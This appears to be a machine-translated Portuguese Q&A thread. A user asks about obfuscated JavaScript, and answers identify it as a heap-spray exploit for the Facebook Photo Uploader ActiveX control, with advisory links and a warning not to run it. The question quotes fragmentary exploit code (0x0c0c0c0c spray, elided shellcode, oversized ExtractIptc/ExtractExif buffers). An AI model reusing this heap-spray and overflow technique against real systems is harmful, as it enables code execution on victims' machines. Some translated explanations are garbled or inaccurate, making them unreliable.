Pergunta

Eu não entendo este trecho de código:

function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }  

Na função acima eu não consigo descobrir os tipos de variáveis, ou descobrir o que está fazendo com a variável hsta, eo que está atribuindo a ele:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;

Eu também não podem descobrir esta função:

function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }

O que a média código a seguir?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

Que tipo de variável é isso?

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

O mais importante, o que é que o código snippet tentando fazer?

Aqui estão mais algumas funções:

function hex(num,width){
    var digits='0123456789ABCDEF';
    var hex=digits.substr(num&0xF,1);
    while(num>0xF){
        num=num>>>4;
        hex=digits.substr(num&0xF,1)+hex;
        } 
    var width=(width?width:0);
    while(hex.length<width)hex='0'+hex;
    return hex; 
}

function addr(addr){
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
    }

Qualquer orientação seria apreciada.

Foi útil?

Solução

É um fragmento de JavaScript que tenta explorar uma vulnerabilidade de segurança relacionada ao Facebook, mais especificamente à sua imagem Uploader lado do cliente controle ActiveX.

A parte cobj tenta criar um objeto de ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} que acontece de ser uma foto ActiveX uploader de controle. As funções ExtractIptc e ExtractExif pertencem a esse controle ActiveX específico.

O núcleo do código é realmente endereço de manipulação de memória, mudando, usando máscaras para separar os bits altos e baixos. Por exemplo, hex((addr>>16)&0xFFFF,4)) leva um endereço, desloca 16 bits para a direita, apura-se a parte inferior e converte para um número hexadecimal. Para entender realmente a maior parte deste código, você deve ter as ferramentas de depuração certas.

pesquisando o {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} ClassID deu alguns resultados interessantes que você deve olhar para:

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

Por favor nota, esta não é PHP. É de javascript.

Mais detalhes ...

cobj é provavelmente traduzido em uma chamada CreateObject (). Cada controle ActiveX registrado tem a sua própria classe ID, e eles têm a forma {0000000000-0000-0000-0000-000000000000}. Quando você quer se referir à biblioteca registrada, e criar uma instância dele, você pode usar o seu nome ou a sua classe ID.

O controle ActiveX em si deve ser um arquivo .ocx ou DLL no seu computador. Se você pode encontrar este arquivo e depurá-lo, você vai ter a maioria dos detalhes específicos sobre as funções ExtractIptc e ExtractExif. Mais uma vez, essas duas funções parecem ter vulnerabilidades quando chamado de uma maneira específica, e é isso que o script está tentando explorar.

A parte var hsta=0x0c0c0c0c define um hsta variável, igual ao número hexadecimal 0c0c0c0c. É o mesmo que escrever var hsta = 202116108. Em engenharia da computação, é mais fácil lidar com endereços hexadecimais do que números decimais desde endereços e dados dentro da memória do computador é binário e pode ser directamente representados como um número hexadecimal. Mais detalhes sobre hexadecimal lá: http://en.wikipedia.org/wiki/Hexadecimal .

O nome HSTA variável parece estar em notação húngara (primeira letra representa o tipo de variável - h para hex). Gostaria, portanto, supor que significa endereço hexadecimal início (HSTA). Seguindo a mesma linha de pensamento, o meu palpite é que o código payload meios pl carga e meios plc.

O código de carga útil é o código do computador será executado se o exploit foi bem sucedida, e é o que você vê no início do (\x43\x43\x43\x43\n....\xEF) script. É codificado como código shell href="https://stackoverflow.com/questions/1469559/help-me-understand-this-c-code-void-scode"> para uma arquitetura de CPU particular e operacional sistema. Esse código significa que já está compilado, autônomo, e pode ser canalizado para o CPU diretamente. Se você decodificar isso, você provavelmente vai encontrar algo próximo ao código de máquina. Provavelmente não é nada positivo.

A função hex(num,width) converte um número decimal à sua forma hexadecimal. Eu testei a função separadamente, e voltou 3E8 quando alimentando-o de 1000. A variável largura é usado simplesmente para sair do script se o número hexadecimal resultante é maior que o especificado.

Sobre esta parte:

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

A variável buf é um tampão. Um buffer é nada mais do que os dados na memória. Ele pode ser conectado como uma string, como mostrado neste código. Meu palpite is que um tampão de 400 bytes é criado a partir de qualquer conteúdo está na memória em 0x0c0c0c0c, e, em seguida, alimentado para duas funções.

Existem várias definições de funções ausentes aqui. Ou seja, a função hav ().

Outras dicas

Eu fixo a formatação tanto quanto eu podia, mas ainda parecem ser pedaços que faltam. Pelo menos, eu estou vendo erros de sintaxe, variáveis ??não inicializadas, etc.

Se este é o código de trabalho real Edite sua pergunta e (usando o botão "código" "101/010" ou simplesmente recuar 4 espaços ao invés de citar com o botão '"') postar o código real para que o que vemos jogos que você está vendo EDIT:.!. NÃO TENTE executar este código a sua provavelmente malicioso

Se ele não estiver funcionando o código, não é a sua resposta:. Ela não funciona, de modo a tentar descobrir como ele funciona não faz sentido

scroll top